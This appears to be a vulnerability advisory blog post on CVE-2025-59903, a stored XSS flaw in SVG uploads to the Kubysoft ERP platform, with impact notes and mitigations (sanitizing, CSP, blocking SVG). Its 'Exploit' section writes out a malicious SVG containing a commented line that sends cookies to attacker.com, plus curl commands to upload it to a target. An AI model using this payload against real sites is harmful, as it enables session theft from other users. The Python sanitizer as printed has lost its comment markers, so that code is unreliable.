Listen to this Post
CVE-2025-59903 is a Stored Cross-Site Scripting (XSS) vulnerability found in Kubysoft, a cloud-based ERP platform . The vulnerability resides in the application’s handling of SVG image uploads. Specifically, the software fails to properly sanitize SVG files submitted by users. SVG is an XML-based vector image format that supports embedded JavaScript, making it a common vector for persistent XSS attacks. An attacker with low-privilege access can craft a malicious SVG file containing a JavaScript payload. When this file is uploaded, the server stores it without stripping the malicious code. Subsequently, when any user—including administrators—views the page containing the compromised SVG, the embedded script executes within their browser context. This execution occurs because the application serves the SVG with the `image/svg+xml` MIME type, causing the browser to interpret the XML and run the script. The CVSS vector (CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:L/SC:L/SI:L/SA:N) indicates the attack requires low privileges and user interaction (viewing the file), but the impact is limited to the scope of the application . The vulnerability is officially classified under CWE-79, indicating improper neutralization of input during web page generation .
Platform: Kubysoft ERP
Version: Unspecified vulnerable
Vulnerability : Stored XSS
Severity: Medium (5.1)
Date: 02/16/2026
Prediction: Patch already available
What Undercode Say:
Analytics
The vulnerability is identified by INCIBE and affects the cloud ERP platform Kubysoft. It requires authenticated access with low privileges. The attack complexity is low, and user interaction is required for the payload to trigger. Exploitation relies on the application’s failure to sanitize SVG file uploads, allowing the persistence of malicious scripts.
Exploit:
Create a malicious SVG file with XSS payload
cat > malicious.svg << 'EOF'
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="009900" stroke="004400"/>
<script type="text/javascript">
// Payload to steal session cookies
alert('XSS Vulnerability - CVE-2025-59903');
// Example: fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
</svg>
EOF
Upload the file using curl (adjust endpoint and cookies)
curl -X POST -F "[email protected]" -b "session=your_session_cookie" https://target.kubysoft.com/upload-endpoint
Verify by accessing the uploaded file
curl https://target.kubysoft.com/uploads/malicious.svg
Protection
1. Update Kubysoft to the latest patched version
Refer to vendor advisory: https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-kubysoft
2. Implement SVG Sanitization on the server (if patching is delayed)
Example using Python with defusedxml to strip scripts
python3 -c "
import defusedxml.ElementTree as ET
from io import StringIO
def sanitize_svg(xml_string):
Remove script tags
parser = ET.DefusedXMLParser()
tree = ET.parse(StringIO(xml_string), parser=parser)
root = tree.getroot()
for element in root.findall('.//{http://www.w3.org/2000/svg}script'):
root.remove(element)
Write cleaned SVG back
cleaned_string = ET.tostring(root, encoding='unicode')
return cleaned_string
with open('uploaded.svg', 'r') as f:
content = f.read()
clean_content = sanitize_svg(content)
with open('clean.svg', 'w') as f:
f.write(clean_content)
"
3. Configure Content Security Policy (CSP) header to block inline scripts
Add to web server configuration (Apache/Nginx):
Header set Content-Security-Policy "script-src 'self';"
4. Block SVG uploads entirely if not needed
.htaccess example to deny .svg files in uploads directory
echo "RewriteEngine On
RewriteRule .svg$ - [F,L]" > /path/to/uploads/.htaccess
Impact
Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user viewing the malicious SVG. This can lead to session hijacking, theft of authentication cookies, defacement of the application, and unauthorized actions performed on behalf of legitimate users. Because Kubysoft is an ERP platform, an XSS attack could potentially expose sensitive business data, financial records, or allow an attacker to manipulate internal forms and workflows . The vulnerability is persistent, meaning the payload remains active until the file is removed or the application is patched.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
